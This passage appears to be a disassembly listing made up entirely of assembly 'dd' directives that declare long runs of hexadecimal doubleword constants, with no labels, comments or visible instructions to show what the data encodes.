		dd 4E00F074h, 15ECDD62h, 5C675E13h, 3C03A4A2h, 0EFE164C6h
		dd 14F2217Ah, 1CD15E66h, 34102190h, 455F8681h, 19C2A361h
		dd 6CA010DAh, 99F50066h, 0C07FA725h, 0D90052CFh, 8C38D660h
		dd 0EABE1E2h, 25473908h, 0C39EB6Ch, 0C7A29700h,	0E0636905h
		dd 0E20300C6h, 0A9AAE70Bh, 0FB01E90Fh, 0DD236455h, 0B08730ACh
		dd 8326E3C1h, 1000315Ch, 0FE6AA39Eh, 2BC349h, 83162DA5h
		dd 0CCDE8A3Bh, 82683Dh,	0AD28F8Eh, 7BA3EADh, 67E589A4h
		dd 240E815Fh, 4C53E8FFh, 608BDF39h, 74997C4Eh, 8D9D0307h
		dd 75AE2DB9h, 8744C5C8h, 0EC98C000h, 0E4477CB6h, 52293063h
		dd 3F9B9740h, 6A4C5F00h, 575654C7h, 2F21F93h, 0B24B4B3Dh
		dd 97282F80h, 0F9008BFDh, 0E3A95AB1h, 309EF02h,	0F1483D41h
		dd 4000F408h, 0B25C5753h, 0BF1D80h, 22AEEC0Bh, 0F4441438h
		dd 1EC2BE1Dh, 7C8B18C0h, 1FF11316h, 43F080FCh, 0FD33CCAAh
		dd 871D4CF8h, 0D2606362h, 28AE607Bh, 0F180F585h, 0F5589F31h
		dd 790124FAh, 7B9C672Dh, 0A88FCF66h, 228C3213h,	85187CD0h
		dd 7F180CFFh, 0E8C80188h, 739BA8D8h, 98CD103Eh,	0F79750Fh
		dd 82D51E9Dh, 2258CE01h, 4CD0806Eh, 0C04BF054h,	60930341h
		dd 77CB9AA8h, 0D8DD03C1h, 87005F65h, 63756195h,	0F815285h
		dd 408FC5C3h, 2DC0E3E0h, 49386CABh, 993800B3h, 6A61D55Ah
		dd 0C6E83Ch, 5C04322Fh,	0DEBDF0A3h, 7E1D8C3Ch, 18B8516h
		dd 0B4285700h, 0E0B13A96h, 0C4F8EB27h, 265A007Fh, 0E43EDE46h
		dd 7400286Dh, 3FD076AEh, 7668BA7Bh, 99290043h, 4C58A296h
		dd 0D4092E5Eh, 69654Dh,	661E20E8h, 0EE530099h, 0B812DBBh
		dd 3E03A964h, 41D7D6EAh, 0AFAAC0B6h, 3C9F7B8Fh,	3F00D129h
		dd 0ACA55FC0h, 59551C69h, 4B0E680h, 2F3E3271h, 0B5FD1460h
		dd 3C5B00B2h, 59AE5154h, 43BB057Ch, 0C0716265h,	0FD480E1Bh
		dd 9F63DD18h, 8852E828h, 0F886C1Fh, 0C85D8827h,	84DC9340h
		dd 424AB522h, 66F918E3h, 8A549051h, 2921DEC3h, 1F3C3817h
		dd 843C21FAh, 9039A008h, 2667844Bh, 0AC421848h,	211F241Bh
		dd 0CC12226Ah, 1EF05082h, 0B0403324h, 691674A5h, 0F6D48200h
		dd 0E37322ADh, 7AAF08Dh, 1BB03CA0h, 0FA00EF1Eh,	70F66751h
		dd 1348C900h, 0F17A5209h, 2FEF0003h, 8AA6F4CEh,	0D6011C77h
		dd 44203419h, 2CD00C72h, 0A97171h, 7B60E554h, 128A110h
		dd 64BD3650h, 1A3E3B07h, 6ED0BA5Eh, 3A5477B6h, 0FC00B541h
		dd 0A11EE433h, 3600AB13h, 340F310h, 35A9863h, 37725FD4h
		dd 33F86DDEh, 0AF606F7Bh, 0D70CCB29h, 0E5730065h, 0E8E40735h
		dd 0E00E21DBh, 971F67Ah, 0CE1420CCh, 762DED56h,	13F40034h
		dd 0D812E008h, 0E701BD49h, 7BADDFA8h, 588197FAh, 0F1C53CDBh
		dd 9D2DF093h, 65F68100h, 0E5724667h, 0C82C0099h, 4DA3411h
		dd 0A903D98Eh, 57F85B7Ah, 4D700064h, 6F2445CFh,	0C3E013CEh
		dd 180A203h, 0A8C18742h, 0F04FB3h, 2D3129E1h, 738D5BBDh
		dd 0A1FFB800h, 28EC3A69h, 27A40041h, 0B2BDFDDAh, 240065A6h
		dd 0B816A20Ch, 764B15F2h, 90E70076h, 19579F67h,	271FED2Bh
		dd 77805EA9h, 0F7669EECh, 87F40099h, 54753EACh,	2F1C5DC0h
		dd 9185A713h, 0A580CFADh, 79F1639h, 0BC7689F3h,	60AA2768h
		dd 5AD0F7C1h, 0C26B404h, 0B8807A62h, 7D3263C6h,	0E03D1F7Bh
		dd 0E978C7CDh, 4A59F02Eh, 9106B564h, 989F71DCh,	45E20068h
		dd 0AC8C10C0h, 18000ADAh, 0B9FBF367h, 0BD2983h,	0AE77A4F0h
		dd 0DD658E7h, 9A000AE2h, 0A894E5D7h, 7D3D2DBEh,	731803E9h
		dd 1AC6C0A6h, 8EBB4790h, 0F400C971h, 314ABE93h,	0A54DB6h
		dd 98131ADEh, 0D638E1E5h, 5503F77Eh, 0D7B181FEh, 0D00CF39Fh
		dd 1A2FCAC5h, 304D2271h, 0A3F00881h, 0A460D0ACh, 6CF6D500h
		dd 0E425B1ABh, 0C8203062h, 4FE84610h, 38BF7E00h, 0FDE2CC03h
		dd 0BE700041h, 431D3116h, 7600E5F2h, 19BF1BECh,	4CD24F2Ah
		dd 0E100585Ah, 2D0B3D32h, 4C00319Fh, 8F79A309h,	123D356h
		dd 0DA7A10D4h, 0E0E120FFh, 1001AD8h, 0B882FB96h, 60B46D11h
		dd 3714D81Eh, 6149308h,	1886531h, 0D52B8A90h, 4BE82810h
		dd 0B4490047h, 69F646F9h, 82008B1Dh, 0C5A12EFFh, 0D36D66h
		dd 0C48C086Ch, 0A96F1BB5h, 4085D11Fh, 7513B200h, 0F59E51h
		dd 70D9E4DDh, 59BDF760h, 4500B6ECh, 33D1403Fh, 175D67Dh
		dd 898B9FECh, 0FC0FCB74h, 16003223h, 37D2888Ah,	3A6A40h
		dd 9A39471Fh, 80B13DA6h, 3B76FF00h, 0F4880809h,	227FA95h
		dd 0EACECF20h, 0D84087FEh, 59E49DECh, 0E700827Ch, 0F278EFB9h
		dd 0C1DF8Ch, 67ED73E9h,	0C0BA8AD9h, 3D070D00h, 0A515C238h
		dd 1CD47F81h, 3CBD2544h, 2D3F8600h, 311CA177h, 0B6099300h
		dd 1FF0C23Ch, 2B5800DEh, 0B23EC355h, 0FF046CE2h, 0C2083848h
		dd 9943E090h, 884C285Eh, 666838C8h, 0FC57F481h,	0E4735C5Ah
		dd 8C03E436h, 11259535h, 0DD7CB8A2h, 0A8900098h, 7A15C948h
		dd 1900D53Fh, 0DB035123h, 1E83EAAFh, 0EAE4388h,	81BF26C7h
		dd 789E936Eh, 0A6CC8080h, 0D804975Ah, 21AE009Ah, 0A7B92842h
		dd 0CF00DBF5h, 4F7F3CE9h, 58EC366h, 260E8DCBh, 19FC0014h
		dd 0F281F11Ch, 0D325400h, 82D12A5Dh, 0A2080026h, 0B2D6E59Eh
		dd 0E900F855h, 15CAF910h, 2DB73034h, 0F9C09B67h, 0B91D8338h
		dd 0C140D971h, 0F7D1FC7h, 368B80Dh, 0F35C03D2h,	32C8E217h
		dd 0B10056D1h, 33D447C2h, 32FB644h, 727BB9A1h, 50A028C4h
		dd 0DE1287C3h, 5D02BAF6h, 4290D039h, 0AE28407Eh, 731A005Bh
		dd 0C5AF9406h, 4C1EB0BCh, 0F100F0A6h, 0B881EBBh, 0A0987C09h
		dd 8DEB9Eh, 34B4F8A8h, 90C3D2C7h, 6BFA43F8h, 521325EEh
		dd 280E2188h, 64756040h, 309B2Dh, 926214EDh, 0A428A902h
		dd 0B9F1E005h, 70803E77h, 795A8A21h, 0BDE6A6h, 158C42A2h
		dd 7961EEC6h, 106B0D00h, 2D962882h, 10F060E8h, 2A3E5C02h
		dd 0F3130A0Eh, 8022AB5Bh, 28C36544h, 233F05B0h,	2BAED2Dh
		dd 84E90EECh, 0E27759C0h, 1C0066EAh, 9A6BFD15h,	87DB8Dh
		dd 4BECAB40h, 0BE6AD0C7h, 360159E8h, 20288E8Fh,	0FA47C564h
		dd 0D7D81420h, 0BD3300D3h, 1FAA0D8Ch, 800FD04h,	57CCD4A7h
		dd 0DCA4EBh, 0D3C2C39Ah, 0AF69944Bh, 32B66F00h,	456E1E90h
		dd 0BFA1077Ch, 8F714199h, 0D0BEEB27h, 6B9243Bh,	0AFBA3Ch
		dd 0C3D96125h, 7529CE0h, 7FC1219Fh, 208AF00Ch, 0A00C410h
		dd 0BC862C06h, 9008D028h, 39E60E00h, 0C9C07803h, 375679DCh
		dd 0E5FA3C01h, 0EB6AB354h, 3E0E8FD8h, 7E00AAB2h, 257AD5F1h
		dd 0D13E0ABh, 0B900CE62h, 53C3877Dh, 99110091h,	0F92D4542h
		dd 0D8008EE6h, 0FF4386D3h, 598072h, 0FD6ED753h,	33F49722h
		dd 99363D00h, 0DB5E4B3Eh
		dd 852000A4h, 0E8A0ED3Ch, 5A00FF1Bh, 681DF6ADh,	3A63579h
		dd 65DC3F2Ah, 0FDB1D7D3h, 1010804Eh, 705D8AAAh,	75D900BDh
		dd 6DA71A08h, 37000D52h, 91725BA4h, 2C844AA0h, 911EF2h
		dd 20BD7A8Fh, 240240F6h, 766DB0E9h, 9D626105h, 21C26D0h
		dd 981174B2h, 0D0809CCBh, 3A0601C6h, 0B4736E00h, 4D518B8Ch
		dd 74290089h, 1775A2EEh, 100F018h, 8499C852h, 0F7B40Ah
		dd 49DED6CDh, 7DC72DBBh, 0D1DA3Dh, 84F2904h, 0E20F11h
		dd 53E43CB1h, 0BC929307h, 2181BA00h, 0ABE166D0h, 772700DCh
		dd 5218FB6Bh, 8B0025B8h, 8445D5CDh, 8772C3h, 0F3F80A98h
		dd 5DEEDDBh, 0A9363Ch, 5688A70Fh, 5C212E60h, 1700120Ch
		dd 43FF29B7h, 1D00CD90h, 0FD38DBBAh, 0F6B4F69h,	0F0313560h
		dd 7626829Ch, 0BEE01581h, 0C80011E2h, 3CA30733h, 38089814h
		dd 1E803206h, 69375E4Dh, 0DD0046F8h, 9BC12BB6h,	262098h
		dd 88EBFB8Ch, 0A3B16D31h, 1B1C3Dh, 0F3CD4D46h, 0C27FC6h
		dd 53AE4E72h, 0B8E1E78Ah, 3F01291Eh, 1BE68B8Fh,	0AD408850h
		dd 52A3092Fh, 0B700FBC9h, 5B6605BFh, 44213800h,	5DCAD309h
		dd 0EB03005Eh, 3E8857B7h, 0CF005C3Bh, 83908CEEh, 0E3593C4h
		dd 0A85D640Ch, 0DD808BAEh, 4A34D5DAh, 12F37095h, 662367h
		dd 79929068h, 0A9009C39h, 73A4466Eh, 1FFB8F43h,	86D77D0Dh
		dd 108EFE6Dh, 0A6D31E06h, 1212ECEh, 9E129A11h, 20257E75h
		dd 0DE0086E4h, 5FEFED03h, 4D9B1Bh, 1CAF38D6h, 90548D87h
		dd 0D5E24500h, 23364F0Bh, 583F008Fh, 0D9834662h, 0E70305EDh
		dd 0A060BE26h, 771FB870h, 50E824BCh, 88B80154h,	7F7E18h
		dd 726142h, 10584CE2h, 0B975EA85h, 6135D526h, 7F322A00h
		dd 8BD884h, 0EF165495h,	1A9BBFCAh, 493ACD00h, 4BF6BDE7h
		dd 89A00414h, 90D6856Fh, 0FD2E3654h, 39B34884h,	0AD603F30h
		dd 2900726Ch, 0E3E1A1C0h, 62FBC8h, 0F21EC9Eh, 65EA898Dh
		dd 667EACA0h, 83944554h, 40789D02h, 32B17Ch, 0A321ADA9h
		dd 5DF9080Fh, 5045C2FDh, 0F0C8C0A5h, 0C1C41EA1h, 81B50036h
		dd 6B31B43Ch, 7A01E67Ch, 644E8C07h, 0C3C4B238h,	8F16051h
		dd 29E4BAC2h, 42235A01h, 9B0FC48h, 0C01CC3FBh, 766B0252h
		dd 97100032h, 0E6FE4C2Eh, 8C1CF7F2h, 0B180B512h, 564EC11Eh
		dd 0E1A805CCh, 41DFD4D9h, 5F63E88h, 4CDC23E5h, 0CA1600CFh
		dd 0BFB3A179h, 2880028h, 0F873A6F4h, 3026486h, 9A58A48Ch
		dd 2EF18007h, 7563430h,	1C09B75h, 0EB71724Eh, 0A413EC48h
		dd 7303677Ch, 0AE12E590h, 0A347B2A0h, 0C83EE6A0h, 90C8C0D7h
		dd 0C4FD03A4h, 63BE210Ch, 0E698A4D0h, 355A9000h, 0D8EFF644h
		dd 2B680026h, 75DCB596h, 3304044Eh, 71A53E17h, 0D83CE980h
		dd 17C9FA30h, 97251Ch, 2AFFD00Dh, 453DE73Eh, 0EDF680E9h
		dd 714F86F1h, 4AE400B0h, 0C45E0B75h, 940958DBh,	819AEE64h
		dd 82992974h, 8C37DCh, 0CD704F08h, 8D5BB328h, 5DC8FF1Fh
		dd 85E21B43h, 499F90ECh, 4DCD7FF9h, 414C78D5h, 0AB3FB200h
		dd 48CA8718h, 7A8D1C12h, 0E08B240Eh, 5BDBE135h,	1E817B15h
		dd 7C7C2046h, 983B0707h, 99F3051h, 6F004AF5h, 0CE45BC0Ch
		dd 59226F1h, 214C9336h,	0C944805Dh, 0E52C82A0h,	51C3841h
		dd 0A8009113h, 0B9C76ABFh, 2F220F76h, 48E05EBEh, 810FD83Fh
		dd 63BF4600h, 0E8340C9Ch, 892E0353h, 52C24403h,	0B5C710B0h
		dd 6A83C800h, 0EB5C7CE1h, 0EF500186h, 8BDA3CC9h, 0C2C8806Fh
		dd 7824EDC0h, 0BB643D72h, 0C7A8B40Ah, 0C51B04E8h, 8F2D4029h
		dd 0E4367197h, 0DA993C92h, 131E5000h, 95BACDDCh, 654E6100h
		dd 23CB740Bh, 64510058h, 1490F837h, 0B0009578h,	7032B5ACh
		dd 0B8A90Ch, 659FAB60h,	371B514Bh, 0F057900h, 32A2E813h
		dd 58C70036h, 4221E5EFh, 0C830E944h, 27346C81h,	2530743h
		dd 0E0EA7DD7h, 91AF0358h, 0C171CE12h, 0B415C00h, 0E379640Dh
		dd 0F5782FCh, 0A862F6FCh, 54ACC73Ch, 0AFB5906Dh, 0FF70B29Ch
		dd 80BF113Ch, 0DA09741Fh, 0C5012Bh, 665F6733h, 0DDB9B6AAh
		dd 8561F000h, 0F418B1AFh, 0C786A0A8h, 6294013Bh, 0EB67C215h
		dd 7059C9DCh, 0E500220Ch, 746EB590h, 7F89B1h, 37077BFCh
		dd 0CE0BB614h, 0D9A00EF0h, 9971CC29h, 0D7AC3D00h, 1E4F5875h
		dd 423000FAh, 0DC709FDh, 0E5007D7Ch, 399FD8A2h,	50775CDAh
		dd 36FE086h, 5AE4795Bh,	0E802EAFh, 0E6E28F02h, 706DF0Ah
		dd 5604F473h, 0DC902674h, 175CE29Ch, 8C4B41h, 0AA3FE095h
		dd 60BACB95h, 2100567Dh, 0BECD9EF7h, 1D43D516h,	81899088h
		dd 0F4F9E4DEh, 505FCCB5h, 1D7F2E00h, 0F814866Dh, 0BEA91D31h
		dd 9F810077h, 9062304Fh, 24712800h, 7F2383A2h, 0B8A50089h
		dd 9BB901EFh, 5D00756Fh, 57F07788h, 14A89303h, 0E4C50E6Dh
		dd 25BF017Dh, 53FD3580h, 3370FC5Eh, 79447F3Ch, 716D6714h
		dd 6FAC07F0h, 83FBEFFCh, 0A83BA804h, 37BEF5h, 96A3F94Ch
		dd 8F55826Bh, 0E4DE0128h, 0AA326910h, 0B9455081h, 0DBEBE0E3h
		dd 3CD97400h, 6A727735h, 0B5D7007Ch, 0DF31B0F3h, 0F112EE58h
		dd 550B0D34h, 9CE003BBh, 32FDF1D3h, 90959DCh, 79F3AF9Bh
		dd 5B30B020h, 0D0C1C750h, 46AD32FFh, 0B4AC31FDh, 6F42FD1h
		dd 0BCCC9202h, 0C1D0A082h, 0F178A38h, 3C30EB78h, 87C634A4h
		dd 6F9380C5h, 3218DD96h, 62591644h, 0AADE0077h,	0D794B675h
		dd 173EF4E5h, 660A803Ah, 0A4EF2328h, 0DDDC03DAh, 0B352D67Fh
		dd 392AAFE8h, 5D33B2F4h, 0C0F368D5h, 39F2DACh, 0B55813CBh
		dd 90A08255h, 0B962BD99h, 4224EFA1h, 0F70C4051h, 26AB0298h
		dd 2D6CE7Fh, 95706840h,	7321D767h, 426080FBh, 94EDDE4h
		dd 0DA570721h, 0F7BF3400h, 87005E43h, 7839B784h, 5D5D252Dh
		dd 1D00988Dh, 930C59F7h, 0F604243Ch, 36CE3BBEh,	0A623A380h
		dd 49460060h, 7F31672Ch, 0BE07B190h, 91E90EA3h,	0BB865E20h
		dd 7AF700D2h, 448A251Eh, 66FC06CAh, 8B003175h, 8F2036Ch
		dd 0AA14C29h, 531609ACh, 3CBF00E0h, 4DF17AC8h, 9520E7E6h
		dd 0B76502C3h, 751D9B08h, 8CBE2060h, 4C96191Eh,	0F8BFE607h
		dd 0D3C11137h, 4860B749h, 1CB200B1h, 237C3C04h,	0C700B8E0h
		dd 554FBB2Ch, 4826BADEh, 0B10048E3h, 0F4154DB4h, 3E00B363h
		dd 8625CAA6h, 44F32Fh, 0CB83B043h, 0C5F67FDFh, 5800ECECh
		dd 6B6489A6h, 4893AC44h, 690194F5h, 28293E3Ah, 0A6F1C0DEh
		dd 70388400h, 2BCA64E3h, 0F48200AEh, 0F88B85E0h, 0AD7E2599h
		dd 4D177E05h, 0F0006F20h, 31B332FEh, 0C6E1484Ah, 4E95BB07h
		dd 88EEB063h, 5F120D7Ch, 0FA0FC6A0h, 4330EF27h,	0B554D5CDh
		dd 8B779440h, 0BF6158h,	1E5EA366h, 4F7B148Eh, 6E092300h
		dd 0E2080701h, 0ADD0027h, 5E583BABh, 0B4076AD9h, 534F5968h
		dd 0ED54C7A0h, 793200E0h, 75FD943Dh, 0DCB89366h, 1B5DF201h
		dd 55484C3Fh, 0B1AA3089h, 0CED100A0h, 0F42C4BFBh, 58016489h
		dd 5A7FAD2Fh, 0AA23C0E6h, 2795071Dh, 0E0C391C5h, 0A2BFB62h
		dd 9E2AC200h, 88C6FA30h, 0CB37F809h, 3182D828h,	10E0A4EBh
		dd 0F1005CD1h, 31B25A68h, 7647C6C7h, 4DA0AFFh, 0BC91C9h
		dd 0DFC220C0h, 0FE00B8ECh, 83381B7Ah, 5CA0B93Ah, 39019276h
		dd 0CABB4279h, 46688026h, 0F3B70D13h, 3A43018Bh, 0A2409CA7h
		dd 6485CC1Ah, 0CAD63F01h, 25D45E0Eh, 1E042EFCh,	0A3EF63h
		dd 0E1221411h, 5F07D75Ch, 4DB31C24h, 0EEA9C931h, 0EDA55C4h
		dd 45AB4D6h, 6EBC3DC0h
		dd 1A70CC48h, 41EF8C07h, 80ABE143h, 22966B3Fh, 518413FFh
		dd 953D0C17h, 0EE006110h, 2569941Fh, 7FE78E75h,	0D6930050h
		dd 23667216h, 0D49A3FF1h, 0C777D900h, 4CF7EA51h, 2E54B2A8h
		dd 0CCC9E4h, 5A31A2EDh,	921C1DFCh, 8FC019CBh, 0F1873F6Fh
		dd 0A4758Bh, 0FD77687Eh, 23010C9h, 263C6638h, 8001F14h
		dd 0F4289C3Bh, 0C7230BBEh, 0A48727F5h, 211EB31Bh, 5A518BE0h
		dd 7A584A00h, 0E7102A6Bh, 2EB335EAh, 0D5500098h, 274C660Bh
		dd 0C0A87E4Fh, 0E3F39D00h, 0C573F21Dh, 0AC2A8901h, 82FAA249h
		dd 5130B1D1h, 0B52E1F9Dh, 1FAF0E15h, 64316CE0h,	6B00C763h
		dd 0FD8FA469h, 0E3C2EFEh, 32D8791Dh, 0FA3AB7C0h, 4B3CEF15h
		dd 0AEDC9DEBh, 4045120Fh, 0CD97CB71h, 23500010h, 1D41DB54h
		dd 0AA01B3C1h, 0E1569506h, 0DCEC78C2h, 132F01B6h, 907117F5h
		dd 0BAF7C045h, 37BFF90Bh, 0F2FD8E7Dh, 1486C00h,	2CAF60h
		dd 55AE4FF0h, 9E869746h, 979D4439h, 0B4007D70h,	0AD15A80Ch
		dd 2F260050h, 0D6D0DAB4h, 0BA0F3EDFh, 1D4CDDh, 0A8950146h
		dd 0A4C54856h, 0C3C9A200h, 63EDBFAEh, 4E9F0F03h, 0C1DABC06h
		dd 0BBFCC011h, 42B50E75h, 9EE06D4Bh, 86B26319h,	8A00BF70h
		dd 0D77620CCh, 0E30281h, 34DBDFC0h, 78D83A94h, 82E251ECh
		dd 877EED3Ch, 0AEAF6569h, 9FDE24A0h, 0F0450052h, 3B6E79Ah
		dd 2CF2B38Eh, 26DB0F30h, 2438D390h, 18D40C8h, 7DA14BEEh
		dd 2A0C303Dh, 0A02B2C00h, 24297E43h, 0AB970D25h, 0E421F736h
		dd 7A00A54Bh, 3090A4FAh, 0C3C6CDC0h, 36E86FF0h,	972884F0h
		dd 0E440F44Eh, 179BF1CCh, 87B62C0Dh, 569E009Ch,	1A40341Bh
		dd 8805B102h, 4898392Dh, 0C7D154h, 0B69B0E16h, 0D9FE0167h
		dd 39E05939h, 3AE780A5h, 0BCCD78ACh, 0AFE5006Ah, 0DF730BCCh
		dd 1700890Fh, 4BE0A8A0h, 35925Eh, 71DA54EBh, 335B10E8h
		dd 12B23900h, 8A5E7A23h, 9EB90183h, 0ABEBA45h, 7177F4F3h
		dd 0E59FCC00h, 0C8D36094h, 6D6A00D2h, 2EE43410h, 0D5022009h
		dd 46866336h, 0C6C0777Bh, 5F1365D9h, 6E0E31B4h,	4B001780h
		dd 0C0602D25h, 42CF0035h, 6D7ADB46h, 0DC004C70h, 16C48751h
		dd 7A76D766h, 0C11C586Fh, 9201CF3Ch, 29122F03h,	91C024C2h
		dd 0B439BB00h, 925AA609h, 276C00A7h, 7CA938B3h,	5D01A175h
		dd 6B8085ECh, 0B870CBF0h, 0CFA5004Fh, 5BCA10C4h, 0B9007CD0h
		dd 7A766FAAh, 0B06D7543h, 29151CA4h, 4889C086h,	6C45AACh
		dd 6E565D00h, 1EAF4A30h, 63690188h, 74A5D610h, 287BD281h
		dd 1FAA8A81h, 0DCDC4F54h, 88E8001Eh, 4427C519h,	730160CBh
		dd 25B3D4E2h, 2FCC9BA8h, 247A0036h, 99111F61h, 390063DBh
		dd 9B509C8Ch, 527C468h,	87845CF9h, 1275C017h, 0DAF2DD24h
		dd 4ED58001h, 3C312C3Dh, 8D1DE8h, 2AE59818h, 0D1101C1Fh
		dd 6D7BFC00h, 21192340h, 7D7898F6h, 376000CFh, 0D717D36Bh
		dd 400BEFCh, 8B3896C0h,	3B2150AEh, 0A380E252h, 346E07B2h
		dd 2000D778h, 3DBBCEF7h, 73CA715h, 0C3FEA99Ch, 0B442F090h
		dd 99001D33h, 922F39E1h, 0DB6D07h, 4B689789h, 62B3524Eh
		dd 0F4EADF01h, 0B517DD05h, 0A2E30h, 747016B6h, 916CA521h
		dd 203DF4CFh, 2DF873Ah,	0DBB500F4h, 5971AEBFh, 0E31232B6h
		dd 0B4008A74h, 7E26987h, 2C431794h, 0B05820C4h,	0AB382AFCh
		dd 260CBC31h, 0B500108Dh, 0FF983392h, 485A78h, 5A2637ACh
		dd 88008B6Bh, 41F8B1AFh, 0BA850894h, 0B5E648h, 0D8FE839Bh
		dd 1F271AC6h, 0A903B006h, 0C0202848h, 0C8E10288h, 277156E7h
		dd 28F043Ah, 0ABBB0393h, 992484BEh, 4BC6C803h, 1FA03883h
		dd 0AD982B06h, 82DF660Ch, 0EEF9508Fh, 65AC2C27h, 0F1E93011h
		dd 0D0000399h, 1A7C96FFh, 31F51E7Fh, 42219AC6h,	1AFDF33h
		dd 40C1F25Fh, 66FF0A0Ch, 1C2FE58h, 231781BEh, 80F60BC3h
		dd 8EBC5F70h, 75F60Dh, 21C4FD0Ch, 0BAA3CEC7h, 3589B412h
		dd 42E38C00h, 0EFD2D9h,	7EEBF661h, 0C7AC1608h, 0C0395F00h
		dd 4AC5691Fh, 0A1EE52h,	7E4D0750h, 0A880BA3h, 0B1EFFC01h
		dd 70B33EC3h, 0C280F4h,	0F9F29964h, 0EF89334Fh,	0DDB81A00h
		dd 7B58DCC1h, 0ABAF007Eh, 73FEDA0Dh, 0E51FB7A2h, 5A00C5BCh
		dd 1227C6B4h, 0B62A00D5h, 8A3BA522h, 0FA058C0Ah, 885D601Eh
		dd 8B00A412h, 9EFFBEADh, 0ED7C3Bh, 2FD117A3h, 533388C4h
		dd 82214800h, 2CBA5538h, 259D0EB8h, 0EFA0A647h,	7631C5FDh
		dd 0A3709B1Eh, 0BE736200h, 987CF0h, 5ECB52E6h, 0ECC301B0h
		dd 926C4300h, 46C6C4D5h, 28B9006Dh, 0CC2B6A17h,	0E51CBD13h
		dd 0C4809DB2h, 0C7261EF5h, 5850E432h, 850052B4h, 1A8E7840h
		dd 407D2A4h, 684F0FB2h,	95CC4B63h, 4C2D44Ah, 2E00DE55h
		dd 9246DC47h, 0A7A2E1D3h, 0FA07838h, 0DA000CB4h, 0C5F95B65h
		dd 7EC6E699h, 131F075Dh, 61848A80h, 0FCAA71A7h,	3062EEDFh
		dd 22C32D29h, 3B22932Bh, 4A212272h, 2210124h, 74EF117Ch
		dd 1238A411h, 85641015h, 0CB08E389h, 84496D44h,	778E9D0Eh
		dd 4297C87Dh, 3D24361Bh, 1195F621h, 8111752Bh, 0A6911274h
		dd 0ED298B64h, 23536441h, 1C216512h, 0BAC43F4Dh, 1A2B009Ch
		dd 4A400630h, 2D00D59Dh, 3AEBF71Dh, 30311E38h, 0E5262866h
		dd 0CB01EC18h, 2E7F58CFh, 0ACE80FDEh, 0B22301C1h, 85405220h
		dd 455AC89Fh, 2C7A1439h, 0D20051F6h, 0FE950906h, 0B18C0096h
		dd 9E798988h, 0C50E981Bh, 0A0E69B7Ch, 54FFA46Dh, 854A3D53h
		dd 6C04C080h, 77ECE4F9h, 132DD01Ch, 0F752C487h,	483902E2h
		dd 0EBE7E04h, 0E0C7F4E3h, 24D1EDA0h, 0B505934Bh, 0CD8B832Bh
		dd 0C0B3F903h, 0EDDCE811h, 0B80E00A8h, 0FF3E867Ch, 9274888Dh
		dd 6458A61Eh, 0C0F6AF80h, 0C071BAA4h, 99BF7860h, 29008504h
		dd 0BEA1DFA3h, 3DC9A2B2h, 0E18386Eh, 44978A6h, 0E585C100h
		dd 0BD10DE3Bh, 140766Ah, 66B3C4CAh, 700B2725h, 0D200B7F5h
		dd 0CC5A999h, 0FA76EF3h, 66E00776h, 8114F5A0h, 11000BF4h
		dd 0D8CB8D5Bh, 75A490F8h, 1B681DFAh, 0DA5AC050h, 0ED992CABh
		dd 9CA98501h, 264B89BAh, 7DCE198Eh, 5004D820h, 4600111Eh
		dd 0F5444768h, 0B9F39h,	3DCA40B5h, 832E8551h, 8C412306h
		dd 396A8603h, 7F006D6Eh, 9BD0EF19h, 18000143h, 9239C027h
		dd 15B6465h, 0BE999598h, 606CBB14h, 700134F4h, 0D6FB75A1h
		dd 0D021C41Eh, 0FF8E89E4h, 6467F0E7h, 8FF63Dh, 786A106Dh
		dd 81C83847h, 2D607E00h, 62BFE70Bh, 0FE2CFC20h,	8F9D3C63h
		dd 0F1C53D00h, 0A6F05588h, 34581B24h, 56E4C300h, 0F8B6045h
		dd 48183773h, 0FBEC6120h, 0C9008D77h, 0D6F55228h, 8BC39Fh
		dd 2B79EBBEh, 0AE3C8374h, 0C2B53200h, 910D0385h, 147801FDh
		dd 90638A02h, 6F19702Eh, 1807C57Dh, 4B57E84Fh, 0BB093690h
		dd 6B5F05D1h, 0A5B34Ah,	81908CFCh, 58C08456h, 8F2B31A9h
		dd 108860B4h, 0DF8C7B4Bh, 0A648F470h, 3D310244h, 4088B241h
		dd 0A44D6Ch, 5438634h, 0BE2DEF21h, 12C4200h, 0E3F7324Fh
		dd 46EE24A2h, 0FFA60004h, 0E0B0976h, 5497A09h, 0A884A014h
		dd 7112D30h, 69D2D041h,	0F6FE6021h, 0E37259C4h,	0E886D00h
		dd 58AD3864h, 678C00D6h, 0EE5B770Ch, 94077804h,	0C469F7E9h
		dd 0DF102F97h, 77FFC3h,	0DBA1D3E0h, 6F5E31BEh, 0E57A9607h
		dd 52712908h, 84C0D430h, 0B3EF0A82h, 0C38016h, 32623F73h
		dd 42005172h, 9E0CDE26h, 1FE77A70h, 0C0CB2B98h,	78168BE8h
		dd 0EFFA3B13h, 0FA6F4800h
		dd 503A0496h, 0EA5C0E2Ch, 0C64761A9h, 0E57750D9h, 0C12D035h
		dd 0FC00BB12h, 0B6F532DFh, 0D67300E7h, 202F4426h, 770092F3h
		dd 0B9A77BE1h, 0F83E695h, 1957D564h, 81FD3EE0h,	560FDB51h
		dd 60391F54h, 0BD714A3Fh, 0ACD1004Fh, 7CC6B3A8h, 0BE0222A9h
		dd 0B46989AEh, 0D40061CBh, 2F8CE0h, 7C44ADBBh, 54CC0541h
		dd 0E3F5950Eh, 45D044Eh, 0AA5BF880h, 718E0098h,	20312EE2h
		dd 97EDF2h, 28CD5689h, 275188Ch, 885518E6h, 0AFC9E902h
		dd 80095EBAh, 23087CC8h, 11E447h, 2885499Fh, 1D8BC2F8h
		dd 11CE348h, 21E4794Ch,	88305410h, 74E0209Eh, 0D38E4F00h
		dd 3EB3DC50h, 0E972EDh,	8DA941EEh, 77624291h, 940349h
		dd 0F0EAFAB7h, 0F1DB0h,	0A4CF3F81h, 0E1DCA38Eh,	0FC620500h
		dd 2D77EA22h, 4EBD0C5Fh, 0A9700ED5h, 6723820h, 7C03A342h
		dd 630028D0h, 0BEC68EB3h, 721A3CD1h, 0A21D3DE3h, 0DB97F780h
		dd 0E131DAB8h, 88617C03h, 3E0C100Bh, 421EB938h,	6A6D397h
		dd 61BA65C0h, 0B276950Bh, 0BB2CA67Bh, 56AF0059h, 86CE8C22h
		dd 71758AAAh, 6C76E626h, 0A089410Fh, 6D15E3A6h,	99480006h
		dd 0A0EFDFC8h, 0E57169B3h, 13D02400h, 443B8658h, 5FC000FAh
		dd 8EA53853h, 0BD02409Eh, 0D69735E7h, 8DE44081h, 9020EDADh
		dd 27DDFBA6h, 2F849040h, 564D0024h, 785C7543h, 4A001286h
